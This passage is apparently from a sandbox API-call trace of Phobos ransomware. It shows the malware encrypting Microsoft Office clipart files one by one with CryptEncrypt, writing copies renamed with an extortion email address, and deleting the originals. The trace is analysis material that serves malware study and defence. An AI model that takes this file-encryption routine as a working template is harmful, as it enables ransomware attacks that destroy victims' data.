Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.465] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.465] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.465] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cb70) returned 1 [0056.465] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.465] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x63c, lpOverlapped=0x0) returned 1 [0056.472] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x640, dwBufLen=0x640 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x640) returned 1 [0056.472] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x640, lpOverlapped=0x0) returned 1 [0056.473] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc30) returned 1 [0056.473] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.473] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0056.473] CryptDestroyKey (hKey=0x10cc30) returned 1 [0056.473] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0056.473] CryptDestroyKey (hKey=0x10cb70) returned 1 [0056.473] CloseHandle (hObject=0x31c) returned 1 [0056.473] CloseHandle (hObject=0x2e4) returned 1 [0056.474] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0056.475] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0056.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.475] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7968) returned 1 [0056.475] CloseHandle (hObject=0x2e4) returned 1 [0056.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0056.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.475] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.475] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.476] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10caf0) returned 1 [0056.476] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.476] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1f20, lpOverlapped=0x0) returned 1 [0056.479] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1f30) returned 1 [0056.479] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1f30, lpOverlapped=0x0) returned 1 [0056.480] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccf0) returned 1 [0056.480] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.480] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0056.480] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0056.480] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0056.480] CryptDestroyKey (hKey=0x10caf0) returned 1 [0056.480] CloseHandle (hObject=0x2e4) returned 1 [0056.480] CloseHandle (hObject=0x31c) returned 1 [0056.481] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0056.482] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0056.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.482] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1832) returned 1 [0056.482] CloseHandle (hObject=0x31c) returned 1 [0056.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0056.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.482] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.482] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.483] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccf0) returned 1 [0056.483] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.483] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x728, lpOverlapped=0x0) returned 1 [0057.426] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x730, dwBufLen=0x730 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x730) returned 1 [0057.426] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x730, lpOverlapped=0x0) returned 1 [0057.427] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0b0) returned 1 [0057.427] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.427] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0057.427] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0057.427] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0057.427] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0057.427] CloseHandle (hObject=0x31c) returned 1 [0057.427] CloseHandle (hObject=0x2e4) returned 1 [0057.435] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0057.461] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0057.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0057.461] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7372) returned 1 [0057.461] CloseHandle (hObject=0x2e4) returned 1 [0057.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0057.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0057.461] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.461] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.462] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10caf0) returned 1 [0057.462] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.462] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1ccc, lpOverlapped=0x0) returned 1 [0057.463] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1cd0, dwBufLen=0x1cd0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1cd0) returned 1 [0057.463] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1cd0, lpOverlapped=0x0) returned 1 [0057.464] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ceb0) returned 1 [0057.464] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.464] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0057.464] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0057.464] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0057.464] CryptDestroyKey (hKey=0x10caf0) returned 1 [0057.464] CloseHandle (hObject=0x2e4) returned 1 [0057.464] CloseHandle (hObject=0x31c) returned 1 [0057.465] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0057.466] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0057.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.467] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7540) returned 1 [0057.467] CloseHandle (hObject=0x31c) returned 1 [0057.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0057.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.467] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.467] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0057.468] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1b0) returned 1 [0057.468] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.468] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1d74, lpOverlapped=0x0) returned 1 [0057.484] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1d80, dwBufLen=0x1d80 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1d80) returned 1 [0057.484] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1d80, lpOverlapped=0x0) returned 1 [0057.484] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0b0) returned 1 [0057.484] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.484] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0057.485] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0057.485] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0057.485] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0057.485] CloseHandle (hObject=0x31c) returned 1 [0057.485] CloseHandle (hObject=0x2e4) returned 1 [0057.485] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0057.486] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0057.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0057.487] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=6632) returned 1 [0057.487] CloseHandle (hObject=0x2e4) returned 1 [0057.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0057.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0057.488] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.488] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.488] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0057.488] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.488] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x19e8, lpOverlapped=0x0) returned 1 [0057.490] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x19f0) returned 1 [0057.490] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x19f0, lpOverlapped=0x0) returned 1 